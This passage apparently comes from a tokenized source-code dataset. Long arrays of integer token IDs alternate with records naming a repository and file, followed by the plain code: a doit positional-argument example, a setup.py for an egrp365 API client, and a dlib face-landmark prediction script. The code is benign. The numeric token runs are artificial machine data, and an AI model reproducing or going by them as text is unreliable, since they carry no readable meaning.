29914,
4563,
29915,
13,
4706,
1813,
29918,
27828,
29918,
1761,
353,
13812,
29889,
23635,
29898,
29990,
10145,
29918,
1525,
29963,
8673,
29956,
29918,
24360,
29897,
13,
13,
4706,
363,
9076,
297,
1813,
29918,
27828,
29918,
1761,
29901,
13,
13,
9651,
1018,
29901,
13,
18884,
9076,
29918,
3257,
353,
9076,
29889,
23635,
29898,
13,
462,
1678,
15300,
458,
4563,
17548,
1990,
543,
5756,
29899,
1054,
318,
29899,
2311,
29899,
29947,
29899,
29896,
29906,
29899,
29885,
6965,
29899,
15539,
29899,
27828,
29899,
2587,
11962,
29899,
27828,
29899,
2587,
3108,
29914,
4563,
17548,
1990,
543,
5756,
3108,
29914,
4563,
29914,
726,
580,
29861,
29900,
29962,
13,
9651,
5174,
29901,
13,
18884,
9076,
29918,
3257,
353,
525,
8516,
29915,
13,
9651,
396,
2158,
877,
27828,
29918,
3257,
29901,
742,
9076,
29918,
3257,
29897,
13,
13,
9651,
1018,
29901,
13,
18884,
9076,
29918,
1256,
353,
9076,
29889,
23635,
29898,
13,
462,
1678,
15300,
458,
4563,
17548,
1990,
543,
5756,
29899,
1054,
318,
29899,
2311,
29899,
29947,
29899,
29896,
29906,
29899,
29885,
6965,
29899,
15539,
29899,
27828,
29899,
2587,
11962,
29899,
27828,
29899,
2587,
3108,
29914,
4563,
17548,
1990,
543,
5756,
3108,
29914,
9653,
29914,
726,
580,
29861,
29900,
29962,
13,
9651,
5174,
29901,
13,
18884,
9076,
29918,
1256,
353,
525,
8516,
29915,
13,
9651,
396,
2158,
877,
27828,
29918,
1256,
29901,
742,
9076,
29918,
1256,
29897,
13,
13,
9651,
1018,
29901,
13,
18884,
9076,
29918,
29741,
353,
851,
29898,
27828,
29889,
23635,
29898,
13,
462,
1678,
15300,
458,
4563,
17548,
1990,
543,
5756,
29899,
1054,
318,
29899,
2311,
29899,
29947,
29899,
29896,
29906,
29899,
29885,
6965,
29899,
15539,
29899,
27828,
29899,
2587,
11962,
29899,
27828,
29899,
2587,
3108,
29914,
4563,
17548,
1990,
543,
303,
1503,
11962,
29899,
303,
1503,
3108,
29914,
9653,
17548,
1990,
543,
1730,
1474,
10892,
3108,
29914,
726,
580,
29861,
29900,
14664,
6506,
877,
10819,
742,
27255,
13,
9651,
5174,
29901,
13,
18884,
9076,
29918,
29741,
353,
525,
8516,
29915,
13,
9651,
396,
2158,
877,
27828,
29918,
29741,
29901,
742,
9076,
29918,
29741,
29897,
13,
13,
9651,
1018,
29901,
13,
18884,
6664,
15580,
29918,
978,
353,
9076,
29889,
23635,
29898,
13,
462,
1678,
15300,
458,
4563,
17548,
1990,
543,
5756,
29899,
1054,
318,
29899,
2311,
29899,
29947,
29899,
29896,
29906,
29899,
29885,
6965,
29899,
15539,
29899,
27828,
29899,
2587,
11962,
29899,
27828,
29899,
2587,
3108,
29914,
4563,
17548,
1990,
543,
303,
1503,
11962,
29899,
303,
1503,
3108,
29914,
9653,
17548,
1990,
543,
15539,
29899,
978,
9563,
29899,
3051,
2479,
29899,
14764,
29899,
1271,
29899,
29885,
3108,
29914,
9653,
29914,
726,
580,
29861,
29900,
29962,
13,
9651,
5174,
29901,
13,
18884,
6664,
15580,
29918,
978,
353,
525,
8516,
29915,
13,
9651,
396,
2158,
877,
13478,
15580,
29918,
978,
29901,
742,
6664,
15580,
29918,
978,
29897,
13,
13,
9651,
1018,
29901,
13,
18884,
9076,
29918,
726,
353,
9076,
29889,
23635,
29898,
13,
462,
1678,
15300,
458,
4563,
17548,
1990,
543,
5756,
29899,
1054,
318,
29899,
2311,
29899,
29947,
29899,
29896,
29906,
29899,
29885,
6965,
29899,
15539,
29899,
27828,
29899,
2587,
11962,
29899,
27828,
29899,
2587,
3108,
29914,
4563,
17548,
1990,
543,
15539,
29899,
27828,
29899,
726,
3108,
29914,
29886,
29914,
726,
580,
29861,
29900,
29962,
13,
9651,
5174,
29901,
13,
18884,
9076,
29918,
726,
353,
525,
8516,
29915,
13,
9651,
396,
2158,
877,
27828,
29918,
726,
29901,
742,
9076,
29918,
726,
29897,
13,
13,
9651,
1018,
29901,
13,
18884,
9076,
29918,
8477,
1319,
29918,
3582,
353,
9076,
29889,
23635,
29898,
13,
462,
1678,
15300,
458,
4563,
17548,
1990,
543,
5756,
29899,
1054,
318,
29899,
2311,
29899,
29947,
29899,
29896,
29906,
29899,
29885,
6965,
29899,
15539,
29899,
27828,
29899,
2587,
11962,
29899,
27828,
29899,
2587,
3108,
29914,
4563,
17548,
1990,
543,
7290,
29899,
15814,
29899,
2972,
6965,
29899,
7290,
29899,
15814,
29899,
2972,
11962,
29899,
27828,
29899,
29894,
11427,
9563,
29899,
3051,
2479,
29899,
14764,
29899,
1271,
29899,
29885,
3108,
29914,
9653,
29914,
9653,
17548,
1990,
543,
1315,
29899,
15814,
29899,
1066,
3321,
29899,
2798,
3108,
29914,
726,
580,
29861,
29900,
29962,
13,
9651,
5174,
29901,
13,
18884,
9076,
29918,
8477,
1319,
29918,
3582,
353,
525,
8516,
29915,
13,
9651,
396,
2158,
877,
27828,
29918,
8477,
1319,
29918,
3582,
29901,
742,
9076,
29918,
8477,
1319,
29918,
3582,
29897,
13,
13,
9651,
1018,
29901,
13,
18884,
9076,
29918,
8477,
1319,
29918,
1217,
353,
9076,
29889,
23635,
29898,
13,
462,
1678,
15300,
458,
4563,
17548,
1990,
543,
5756,
29899,
1054,
318,
29899,
2311,
29899,
29947,
29899,
29896,
29906,
29899,
29885,
6965,
29899,
15539,
29899,
27828,
29899,
2587,
11962,
29899,
27828,
29899,
2587,
3108,
29914,
4563,
17548,
1990,
543,
7290,
29899,
15814,
29899,
2972,
6965,
29899,
7290,
29899,
15814,
29899,
2972,
11962,
29899,
27828,
29899,
29894,
11427,
9563,
29899,
3051,
2479,
29899,
14764,
29899,
1271,
29899,
29885,
3108,
29914,
9653,
29914,
9653,
17548,
1990,
543,
1315,
29899,
15814,
29899,
22198,
29899,
2798,
3108,
29914,
726,
580,
29861,
29900,
29962,
13,
9651,
5174,
29901,
13,
18884,
9076,
29918,
8477,
1319,
29918,
1217,
353,
525,
8516,
29915,
13,
9651,
396,
2158,
877,
27828,
29918,
8477,
1319,
29918,
1217,
29901,
742,
9076,
29918,
8477,
1319,
29918,
1217,
29897,
13,
13,
9651,
1018,
29901,
13,
18884,
6664,
15580,
29918,
5479,
353,
9076,
29889,
23635,
29898,
13,
462,
1678,
15300,
458,
4563,
17548,
1990,
543,
5756,
29899,
1054,
318,
29899,
2311,
29899,
29941,
29899,
29896,
29906,
29899,
29885,
11962,
29899,
3888,
9563,
29899,
3051,
2479,
29899,
14764,
29899,
1271,
29899,
29885,
3108,
29914,
4563,
17548,
1990,
543,
15539,
29899,
5479,
3108,
29914,
726,
580,
29861,
29900,
29962,
13,
9651,
5174,
29901,
13,
18884,
6664,
15580,
29918,
5479,
353,
525,
8516,
29915,
13,
9651,
396,
2158,
877,
13478,
15580,
29918,
5479,
29901,
742,
6664,
15580,
29918,
5479,
29897,
13,
13,
9651,
6664,
15580,
29918,
15697,
353,
5159,
13,
9651,
363,
12421,
297,
9076,
29889,
23635,
29898,
13,
462,
1678,
15300,
458,
4563,
17548,
1990,
543,
5756,
29899,
1054,
318,
29899,
2311,
29899,
29941,
29899,
29896,
29906,
29899,
29885,
11962,
29899,
3888,
9563,
29899,
3051,
2479,
29899,
14764,
29899,
1271,
29899,
29885,
3108,
29914,
4563,
17548,
1990,
543,
15539,
29899,
15697,
3108,
29914,
4563,
29374,
13,
18884,
396,
2158,
29898,
5552,
29889,
23635,
877,
726,
580,
5477,
12421,
29889,
23635,
877,
9653,
29914,
726,
580,
8785,
13,
18884,
12421,
29918,
8977,
353,
6571,
13,
18884,
12421,
29918,
8977,
29961,
710,
29898,
5552,
29889,
23635,
877,
726,
580,
29861,
29900,
14664,
6506,
877,
29956,
483,
6907,
304,
263,
5121,
29973,
29905,
29876,
795,
13420,
525,
1123,
2055,
355,
2824,
6506,
877,
29901,
742,
27255,
29962,
353,
12421,
29889,
23635,
877,
9653,
29914,
726,
580,
29861,
29900,
29962,
13,
18884,
6664,
15580,
29918,
15697,
29889,
4397,
29898,
5552,
29918,
8977,
29897,
13,
9651,
396,
2158,
29898,
13478,
15580,
29918,
15697,
29897,
13,
13,
9651,
565,
7431,
29898,
27828,
29889,
23635,
29898,
13,
18884,
15300,
458,
4563,
17548,
1990,
543,
5756,
29899,
1054,
318,
29899,
2311,
29899,
29947,
29899,
29896,
29906,
29899,
29885,
6965,
29899,
15539,
29899,
27828,
29899,
2587,
11962,
29899,
27828,
29899,
2587,
3108,
29914,
4563,
17548,
1990,
543,
11458,
29899,
3051,
29899,
29885,
3108,
29914,
4563,
29914,
4563,
29914,
4563,
29914,
29874,
29914,
726,
580,
8785,
1405,
29871,
29900,
29901,
13,
18884,
338,
29918,
13478,
15580,
29918,
369,
2164,
353,
525,
8241,
29915,
13,
9651,
1683,
29901,
13,
18884,
338,
29918,
13478,
15580,
29918,
369,
2164,
353,
525,
3782,
29915,
13,
9651,
396,
2158,
877,
275,
29918,
13478,
15580,
29918,
369,
2164,
29901,
742,
338,
29918,
13478,
15580,
29918,
369,
2164,
29897,
13,
13,
9651,
6664,
15580,
29918,
3332,
29918,
1761,
353,
5159,
13,
13,
9651,
6664,
15580,
29918,
3332,
29918,
1761,
29918,
1610,
353,
9076,
29889,
23635,
29898,
13,
18884,
15300,
458,
4563,
17548,
1990,
543,
5756,
29899,
1054,
318,
29899,
2311,
29899,
29947,
29899,
29896,
29906,
29899,
29885,
6965,
29899,
15539,
29899,
27828,
29899,
2587,
11962,
29899,
27828,
29899,
2587,
3108,
29914,
4563,
17548,
1990,
543,
11458,
29899,
3051,
29899,
29885,
3108,
29914,
4563,
29914,
4563,
29914,
4563,
29914,
726,
580,
1495,
13,
9651,
1018,
29901,
13,
18884,
363,
474,
297,
6664,
15580,
29918,
3332,
29918,
1761,
29918,
1610,
29901,
13,
462,
1678,
565,
474,
29889,
2886,
877,
4706,
25710,
1405,
29871,
29900,
29901,
13,
462,
4706,
6213,
13,
462,
1678,
1683,
29901,
13,
462,
4706,
6664,
15580,
29918,
3332,
29918,
1761,
29889,
4397,
29898,
29875,
29897,
13,
9651,
5174,
29901,
13,
18884,
6213,
13,
13,
9651,
396,
2158,
29898,
275,
29918,
13478,
15580,
29918,
369,
2164,
29892,
6664,
15580,
29918,
3332,
29918,
1761,
29897,
13,
13,
9651,
9076,
29918,
27126,
353,
426,
13,
18884,
525,
27828,
29918,
3257,
2396,
9076,
29918,
3257,
29892,
13,
18884,
525,
27828,
29918,
1256,
2396,
9076,
29918,
1256,
29892,
13,
18884,
525,
27828,
29918,
29741,
2396,
9076,
29918,
29741,
29892,
13,
18884,
525,
27828,
29918,
726,
2396,
9076,
29918,
726,
29892,
13,
18884,
525,
27828,
29918,
8477,
1319,
29918,
3582,
2396,
9076,
29918,
8477,
1319,
29918,
3582,
29892,
13,
18884,
525,
27828,
29918,
8477,
1319,
29918,
1217,
2396,
9076,
29918,
8477,
1319,
29918,
1217,
29892,
13,
18884,
525,
13478,
15580,
29918,
978,
2396,
6664,
15580,
29918,
978,
29892,
13,
18884,
525,
13478,
15580,
29918,
5479,
2396,
6664,
15580,
29918,
5479,
29892,
13,
18884,
525,
13478,
15580,
29918,
15697,
2396,
6664,
15580,
29918,
15697,
29892,
13,
18884,
525,
275,
29918,
13478,
15580,
29918,
369,
2164,
2396,
338,
29918,
13478,
15580,
29918,
369,
2164,
29892,
13,
18884,
525,
13478,
15580,
29918,
3332,
29918,
1761,
2396,
6664,
15580,
29918,
3332,
29918,
1761,
13,
9651,
500,
13,
13,
9651,
21804,
29918,
1761,
29889,
4397,
29898,
27828,
29918,
27126,
29897,
13,
4706,
565,
1480,
1275,
29871,
29896,
29901,
13,
9651,
1596,
703,
5074,
396,
29908,
718,
851,
29898,
4061,
29918,
11808,
718,
29871,
29896,
29897,
718,
11393,
3917,
310,
21213,
21804,
297,
12463,
29901,
613,
851,
29898,
2435,
29898,
276,
7406,
29918,
1761,
4961,
13,
1678,
396,
2158,
29898,
276,
7406,
29918,
1761,
29897,
13,
13,
1678,
3234,
29918,
27126,
353,
426,
13,
4706,
525,
4704,
29918,
333,
2396,
3234,
29918,
333,
29892,
13,
4706,
525,
4704,
29918,
978,
2396,
3234,
29918,
978,
29892,
13,
4706,
525,
4704,
29918,
276,
7406,
29918,
1761,
2396,
21804,
29918,
1761,
13,
1678,
500,
13,
13,
1678,
18696,
353,
931,
29889,
2230,
580,
13,
1678,
565,
1480,
1275,
29871,
29896,
29901,
13,
4706,
1596,
703,
3924,
2635,
29901,
9162,
851,
29898,
12673,
29889,
12673,
29889,
3166,
16394,
29898,
1372,
467,
710,
615,
603,
877,
29995,
29979,
19222,
29885,
19222,
29881,
1273,
29950,
16664,
29924,
16664,
29903,
1495,
511,
6634,
29876,
1159,
13,
13,
1678,
736,
29898,
4704,
29918,
27126,
29897,
13,
2
] |
doc/samples/pos.py | m4ta1l/doit | 1,390 | 6821 | def task_pos_args():
def show_params(param1, pos):
print('param1 is: {0}'.format(param1))
for index, pos_arg in enumerate(pos):
print('positional-{0}: {1}'.format(index, pos_arg))
return {'actions':[(show_params,)],
'params':[{'name':'param1',
'short':'p',
'default':'default value'},
],
'pos_arg': 'pos',
'verbosity': 2,
}
| [
1,
822,
3414,
29918,
1066,
29918,
5085,
7295,
13,
1678,
822,
1510,
29918,
7529,
29898,
3207,
29896,
29892,
926,
1125,
13,
4706,
1596,
877,
3207,
29896,
338,
29901,
426,
29900,
29913,
4286,
4830,
29898,
3207,
29896,
876,
13,
4706,
363,
2380,
29892,
926,
29918,
1191,
297,
26985,
29898,
1066,
1125,
13,
9651,
1596,
877,
1066,
3245,
29899,
29912,
29900,
6177,
426,
29896,
29913,
4286,
4830,
29898,
2248,
29892,
926,
29918,
1191,
876,
13,
1678,
736,
11117,
7387,
2396,
15625,
4294,
29918,
7529,
29892,
29897,
1402,
13,
9651,
525,
7529,
2396,
29961,
10998,
978,
22099,
3207,
29896,
742,
13,
462,
539,
525,
12759,
22099,
29886,
742,
13,
462,
539,
525,
4381,
22099,
4381,
995,
16675,
13,
462,
418,
21251,
13,
9651,
525,
1066,
29918,
1191,
2396,
525,
1066,
742,
13,
9651,
525,
18248,
359,
537,
2396,
29871,
29906,
29892,
13,
9651,
500,
13,
2
] |
setup.py | egrp365/python-egrp365-api | 0 | 124096 | <reponame>egrp365/python-egrp365-api
import setuptools
with open('README.rst', 'r') as fh:
long_description = fh.read()
setuptools.setup(
name='egrp365',
version='0.0.4',
packages=['egrp365'],
url='https://github.com/egrp365/python-egrp365-api',
license='MIT License (MIT)',
long_description=long_description,
author='egrp365',
author_email='<EMAIL>',
description='This module implements the egrp365.ru HTTP API.',
install_requires=[
"requests",
],
)
| [
1,
529,
276,
1112,
420,
29958,
4872,
29886,
29941,
29953,
29945,
29914,
4691,
29899,
4872,
29886,
29941,
29953,
29945,
29899,
2754,
13,
5215,
731,
21245,
8789,
13,
13,
2541,
1722,
877,
16310,
2303,
29889,
29878,
303,
742,
525,
29878,
1495,
408,
285,
29882,
29901,
13,
1678,
1472,
29918,
8216,
353,
285,
29882,
29889,
949,
580,
13,
13,
842,
21245,
8789,
29889,
14669,
29898,
13,
1678,
1024,
2433,
4872,
29886,
29941,
29953,
29945,
742,
13,
1678,
1873,
2433,
29900,
29889,
29900,
29889,
29946,
742,
13,
1678,
9741,
29922,
1839,
4872,
29886,
29941,
29953,
29945,
7464,
13,
1678,
3142,
2433,
991,
597,
3292,
29889,
510,
29914,
4872,
29886,
29941,
29953,
29945,
29914,
4691,
29899,
4872,
29886,
29941,
29953,
29945,
29899,
2754,
742,
13,
1678,
19405,
2433,
26349,
19245,
313,
26349,
29897,
742,
13,
1678,
1472,
29918,
8216,
29922,
5426,
29918,
8216,
29892,
13,
1678,
4148,
2433,
4872,
29886,
29941,
29953,
29945,
742,
13,
1678,
4148,
29918,
5269,
2433,
29966,
26862,
6227,
29958,
742,
13,
1678,
6139,
2433,
4013,
3883,
10703,
278,
321,
629,
29886,
29941,
29953,
29945,
29889,
582,
7331,
3450,
29889,
742,
13,
1678,
2601,
29918,
276,
339,
2658,
11759,
13,
4706,
376,
24830,
613,
13,
1678,
21251,
13,
29897,
13,
2
] |
Pr_test.py | mohaEs/Train-Predict-Landmarks-by-dlib | 3 | 91451 | #!/usr/bin/python
# The contents of this file are in the public domain. See LICENSE_FOR_EXAMPLE_PROGRAMS.txt
#
# This example program shows how to use dlib's implementation of the paper:
# One Millisecond Face Alignment with an Ensemble of Regression Trees by
# <NAME> and <NAME>, CVPR 2014
#
# In particular, we will train a face landmarking model based on a small
# dataset and then evaluate it. If you want to visualize the output of the
# trained model on some images then you can run the
# face_landmark_detection.py example program with predictor.dat as the input
# model.
#
# It should also be noted that this kind of model, while often used for face
# landmarking, is quite general and can be used for a variety of shape
# prediction tasks. But here we demonstrate it only on a simple face
# landmarking task.
#
# COMPILING/INSTALLING THE DLIB PYTHON INTERFACE
# You can install dlib using the command:
# pip install dlib
#
# Alternatively, if you want to compile dlib yourself then go into the dlib
# root folder and run:
# python setup.py install
#
# Compiling dlib should work on any operating system so long as you have
# CMake installed. On Ubuntu, this can be done easily by running the
# command:
# sudo apt-get install cmake
#
# Also note that this example requires Numpy which can be installed
# via the command:
# pip install numpy
import os
import sys
import glob
import matplotlib
matplotlib.use('Agg') # Must be before importing matplotlib.pyplot or pylab!
import matplotlib.pyplot as plt
import dlib
# In this example we are going to train a face detector based on the small
# faces dataset in the examples/faces directory. This means you need to supply
# the path to this faces folder as a command line argument so we will know
# where it is.
if len(sys.argv) != 5:
print(
"Give the path to the examples/faces directory as the argument to this "
"program. For example, if you are in the python_examples folder then "
"execute this program by running:\n"
" ./train_shape_predictor.py ../faces")
exit()
image_folder = sys.argv[1]
checkpoint_folder = sys.argv[2]
result_folder = sys.argv[3]
Num_landmarks = int(sys.argv[4])
# Now let's use it as you would in a normal application. First we will load it
# from disk. We also need to load a face detector to provide the initial
# estimate of the facial location.
predictor = dlib.shape_predictor(checkpoint_folder+"/predictor.dat")
from skimage import io as ioSK
import io
from contextlib import redirect_stdout
import numpy as np
if not os.path.exists(result_folder):
os.makedirs(result_folder)
# Now let's run the detector and shape_predictor over the images in the faces
# folder and display the results.
print("Showing detections and predictions on the images in the faces folder...")
for f in glob.glob(os.path.join(image_folder, "*.jpg")):
print("Processing file: {}".format(f))
#img = dlib.load_rgb_image(f)
img = ioSK.imread(f)
# Ask the detector to find the bounding boxes of each face. The 1 in the
# second argument indicates that we should upsample the image 1 time. This
# will make everything bigger and allow us to detect more faces.
dets=dlib.rectangle(left=1, top=1, right=255, bottom=255)
### My comment: dets would be tuple of dlib.rectangles object contain
## multi rectagls and corresponing points
newLandmarks=np.zeros((Num_landmarks,3),dtype=np.float16)
shape = predictor(img, dets)
for k in range(Num_landmarks):
# print('-',k)
# print(shape.part(k))
h = io.StringIO()
with redirect_stdout(h):
print(shape.part(k) )
out = h.getvalue()
# print(out)
ind_n=out.find('\n', 0, len(out))
ind_comma=out.find(',', 0, len(out))
# print(ind_comma,ind_n)
# print(out[1:ind_comma])
# print(out[ind_comma+2:ind_n-1])
newLandmarks[k,0]=k+1
newLandmarks[k,1]=int(out[1:ind_comma])
newLandmarks[k,2]=int(out[ind_comma+2:ind_n-1])
# Draw the face landmarks on the screen.
ind=f.rfind('\\')
FileName=f[ind:]
fig=plt.figure()
plt.imshow(img)
plt.scatter(newLandmarks[:,1],newLandmarks[:,2], marker='x',color='blue')
fig.savefig(result_folder+'/'+FileName)
plt.close()
np.savetxt(result_folder+'/'+FileName[:-4]+'_pred.csv',
newLandmarks , delimiter=",", fmt='%i')
# np.savetxt(result_folder+FileName+'_true.csv',
# newLandmarks_true , delimiter=",", fmt='%i')
#dlib.hit_enter_to_continue()
| [
1,
18787,
4855,
29914,
2109,
29914,
4691,
13,
29937,
450,
8118,
310,
445,
934,
526,
297,
278,
970,
5354,
29889,
2823,
365,
2965,
1430,
1660,
29918,
22051,
29918,
5746,
19297,
1307,
29918,
8618,
29954,
4717,
4345,
29889,
3945,
13,
29937,
13,
29937,
259,
910,
1342,
1824,
3697,
920,
304,
671,
270,
1982,
29915,
29879,
5314,
310,
278,
5650,
29901,
13,
29937,
259,
3118,
8649,
18802,
10635,
838,
10194,
411,
385,
22521,
6967,
310,
2169,
23881,
6479,
267,
491,
13,
29937,
259,
529,
5813,
29958,
322,
529,
5813,
10202,
25778,
10593,
29871,
29906,
29900,
29896,
29946,
13,
29937,
13,
29937,
259,
512,
3153,
29892,
591,
674,
7945,
263,
3700,
2982,
3502,
292,
1904,
2729,
373,
263,
2319,
13,
29937,
259,
8783,
322,
769,
14707,
372,
29889,
29871,
960,
366,
864,
304,
7604,
675,
278,
1962,
310,
278,
13,
29937,
259,
16370,
1904,
373,
777,
4558,
769,
366,
508,
1065,
278,
13,
29937,
259,
3700,
29918,
1049,
3502,
29918,
29881,
2650,
428,
29889,
2272,
1342,
1824,
411,
8500,
272,
29889,
4130,
408,
278,
1881,
13,
29937,
259,
1904,
29889,
13,
29937,
13,
29937,
259,
739,
881,
884,
367,
11682,
393,
445,
2924,
310,
1904,
29892,
1550,
4049,
1304,
363,
3700,
13,
29937,
259,
2982,
3502,
292,
29892,
338,
3755,
2498,
322,
508,
367,
1304,
363,
263,
12875,
310,
8267,
13,
29937,
259,
18988,
9595,
29889,
29871,
1205,
1244,
591,
22222,
372,
871,
373,
263,
2560,
3700,
13,
29937,
259,
2982,
3502,
292,
3414,
29889,
13,
29937,
13,
29937,
23353,
2227,
29931,
4214,
29914,
25580,
9818,
4214,
6093,
360,
5265,
29933,
349,
29979,
4690,
1164,
2672,
4945,
29943,
11538,
13,
29937,
259,
887,
508,
2601,
270,
1982,
773,
278,
1899,
29901,
13,
29937,
539,
8450,
2601,
270,
1982,
13,
29937,
13,
29937,
259,
20360,
29892,
565,
366,
864,
304,
6633,
270,
1982,
7535,
769,
748,
964,
278,
270,
1982,
13,
29937,
259,
3876,
4138,
322,
1065,
29901,
13,
29937,
539,
3017,
6230,
29889,
2272,
2601,
13,
29937,
13,
29937,
259,
3831,
6504,
270,
1982,
881,
664,
373,
738,
13598,
1788,
577,
1472,
408,
366,
505,
13,
29937,
259,
315,
9984,
5130,
29889,
29871,
1551,
8294,
29892,
445,
508,
367,
2309,
5948,
491,
2734,
278,
13,
29937,
259,
1899,
29901,
13,
29937,
539,
9196,
10882,
29899,
657,
2601,
274,
5675,
13,
29937,
13,
29937,
259,
3115,
4443,
393,
445,
1342,
6858,
11848,
2272,
607,
508,
367,
5130,
13,
29937,
259,
3025,
278,
1899,
29901,
13,
29937,
539,
8450,
2601,
12655,
13,
13,
5215,
2897,
13,
5215,
10876,
13,
5215,
13149,
13,
5215,
22889,
13,
2922,
17357,
29889,
1509,
877,
29909,
1505,
1495,
396,
19928,
367,
1434,
28348,
22889,
29889,
2272,
5317,
470,
282,
2904,
370,
29991,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
5215,
270,
1982,
13,
13,
29937,
512,
445,
1342,
591,
526,
2675,
304,
7945,
263,
3700,
1439,
3019,
2729,
373,
278,
2319,
13,
29937,
17240,
8783,
297,
278,
6455,
29914,
8726,
3884,
29889,
29871,
910,
2794,
366,
817,
304,
11421,
13,
29937,
278,
2224,
304,
445,
17240,
4138,
408,
263,
1899,
1196,
2980,
577,
591,
674,
1073,
13,
29937,
988,
372,
338,
29889,
13,
361,
7431,
29898,
9675,
29889,
19218,
29897,
2804,
29871,
29945,
29901,
13,
1678,
1596,
29898,
13,
4706,
376,
29954,
573,
278,
2224,
304,
278,
6455,
29914,
8726,
3884,
408,
278,
2980,
304,
445,
376,
13,
4706,
376,
8860,
29889,
1152,
1342,
29892,
565,
366,
526,
297,
278,
3017,
29918,
19057,
4138,
769,
376,
13,
4706,
376,
7978,
445,
1824,
491,
2734,
3583,
29876,
29908,
13,
4706,
376,
1678,
11431,
14968,
29918,
12181,
29918,
27711,
272,
29889,
2272,
29772,
8726,
1159,
13,
1678,
6876,
580,
13,
3027,
29918,
12083,
353,
10876,
29889,
19218,
29961,
29896,
29962,
13,
3198,
3149,
29918,
12083,
353,
10876,
29889,
19218,
29961,
29906,
29962,
13,
2914,
29918,
12083,
353,
10876,
29889,
19218,
29961,
29941,
29962,
13,
8009,
29918,
1049,
22848,
353,
938,
29898,
9675,
29889,
19218,
29961,
29946,
2314,
13,
29937,
2567,
1235,
29915,
29879,
671,
372,
408,
366,
723,
297,
263,
4226,
2280,
29889,
29871,
3824,
591,
674,
2254,
372,
13,
29937,
515,
8086,
29889,
1334,
884,
817,
304,
2254,
263,
3700,
1439,
3019,
304,
3867,
278,
2847,
13,
29937,
12678,
310,
278,
2258,
1455,
4423,
29889,
13,
27711,
272,
353,
270,
1982,
29889,
12181,
29918,
27711,
272,
29898,
3198,
3149,
29918,
12083,
13578,
29914,
27711,
272,
29889,
4130,
1159,
13,
3166,
2071,
3027,
1053,
12013,
408,
12013,
16033,
13,
5215,
12013,
13,
3166,
3030,
1982,
1053,
6684,
29918,
25393,
13,
5215,
12655,
408,
7442,
13,
13,
361,
451,
2897,
29889,
2084,
29889,
9933,
29898,
2914,
29918,
12083,
1125,
13,
1678,
2897,
29889,
29885,
12535,
12935,
29898,
2914,
29918,
12083,
29897,
13,
13,
13,
29937,
2567,
1235,
29915,
29879,
1065,
278,
1439,
3019,
322,
8267,
29918,
27711,
272,
975,
278,
4558,
297,
278,
17240,
13,
29937,
4138,
322,
2479,
278,
2582,
29889,
13,
2158,
703,
8964,
292,
1439,
29872,
1953,
322,
27303,
373,
278,
4558,
297,
278,
17240,
4138,
856,
1159,
13,
13,
1454,
285,
297,
13149,
29889,
23705,
29898,
359,
29889,
2084,
29889,
7122,
29898,
3027,
29918,
12083,
29892,
376,
10521,
6173,
5783,
29901,
13,
1678,
1596,
703,
7032,
292,
934,
29901,
6571,
1642,
4830,
29898,
29888,
876,
13,
1678,
396,
2492,
353,
270,
1982,
29889,
1359,
29918,
23973,
29918,
3027,
29898,
29888,
29897,
13,
1678,
10153,
353,
12013,
16033,
29889,
326,
949,
29898,
29888,
29897,
13,
13,
13,
1678,
396,
26579,
278,
1439,
3019,
304,
1284,
278,
3216,
292,
16273,
310,
1269,
3700,
29889,
450,
29871,
29896,
297,
278,
13,
1678,
396,
1473,
2980,
14088,
393,
591,
881,
24081,
981,
278,
1967,
29871,
29896,
931,
29889,
910,
13,
1678,
396,
674,
1207,
4129,
16600,
322,
2758,
502,
304,
6459,
901,
17240,
29889,
13,
1678,
1439,
29879,
29922,
29881,
1982,
29889,
1621,
2521,
29898,
1563,
29922,
29896,
29892,
2246,
29922,
29896,
29892,
1492,
29922,
29906,
29945,
29945,
29892,
29871,
5970,
29922,
29906,
29945,
29945,
29897,
13,
1678,
835,
1619,
3440,
29901,
1439,
29879,
723,
367,
18761,
310,
270,
1982,
29889,
1621,
19536,
1203,
1712,
29871,
13,
1678,
444,
2473,
7705,
351,
3137,
322,
1034,
690,
1112,
292,
3291,
13,
13,
268,
13,
268,
13,
1678,
716,
22677,
22848,
29922,
9302,
29889,
3298,
359,
3552,
8009,
29918,
1049,
22848,
29892,
29941,
511,
29881,
1853,
29922,
9302,
29889,
7411,
29896,
29953,
29897,
13,
1678,
8267,
353,
8500,
272,
29898,
2492,
29892,
1439,
29879,
29897,
13,
1678,
363,
413,
297,
3464,
29898,
8009,
29918,
1049,
22848,
1125,
13,
4706,
396,
1596,
877,
29899,
742,
29895,
29897,
13,
4706,
396,
1596,
29898,
12181,
29889,
1595,
29898,
29895,
876,
13,
13,
4706,
298,
353,
12013,
29889,
1231,
5971,
580,
13,
4706,
411,
6684,
29918,
25393,
29898,
29882,
1125,
13,
9651,
1596,
29898,
12181,
29889,
1595,
29898,
29895,
29897,
1723,
13,
4706,
714,
353,
298,
29889,
657,
1767,
580,
13,
4706,
396,
1596,
29898,
449,
29897,
13,
4706,
1399,
29918,
29876,
29922,
449,
29889,
2886,
28909,
29876,
742,
29871,
29900,
29892,
7431,
29898,
449,
876,
13,
4706,
1399,
29918,
510,
655,
29922,
449,
29889,
2886,
29317,
742,
29871,
29900,
29892,
7431,
29898,
449,
876,
13,
4706,
396,
1596,
29898,
513,
29918,
510,
655,
29892,
513,
29918,
29876,
29897,
13,
4706,
396,
1596,
29898,
449,
29961,
29896,
29901,
513,
29918,
510,
655,
2314,
13,
4706,
396,
1596,
29898,
449,
29961,
513,
29918,
510,
655,
29974,
29906,
29901,
513,
29918,
29876,
29899,
29896,
2314,
13,
4706,
716,
22677,
22848,
29961,
29895,
29892,
29900,
13192,
29895,
29974,
29896,
13,
4706,
716,
22677,
22848,
29961,
29895,
29892,
29896,
13192,
524,
29898,
449,
29961,
29896,
29901,
513,
29918,
510,
655,
2314,
13,
4706,
716,
22677,
22848,
29961,
29895,
29892,
29906,
13192,
524,
29898,
449,
29961,
513,
29918,
510,
655,
29974,
29906,
29901,
513,
29918,
29876,
29899,
29896,
2314,
13,
1678,
396,
18492,
278,
3700,
2982,
22848,
373,
278,
4315,
29889,
13,
13,
13,
1678,
1399,
29922,
29888,
29889,
29878,
2886,
877,
1966,
1495,
13,
1678,
3497,
1170,
29922,
29888,
29961,
513,
17531,
268,
13,
13,
13,
1678,
2537,
29922,
572,
29873,
29889,
4532,
580,
13,
1678,
14770,
29889,
326,
4294,
29898,
2492,
29897,
13,
1678,
14770,
29889,
1557,
2620,
29898,
1482,
22677,
22848,
7503,
29892,
29896,
1402,
1482,
22677,
22848,
7503,
29892,
29906,
1402,
17456,
2433,
29916,
742,
2780,
2433,
9539,
1495,
13,
1678,
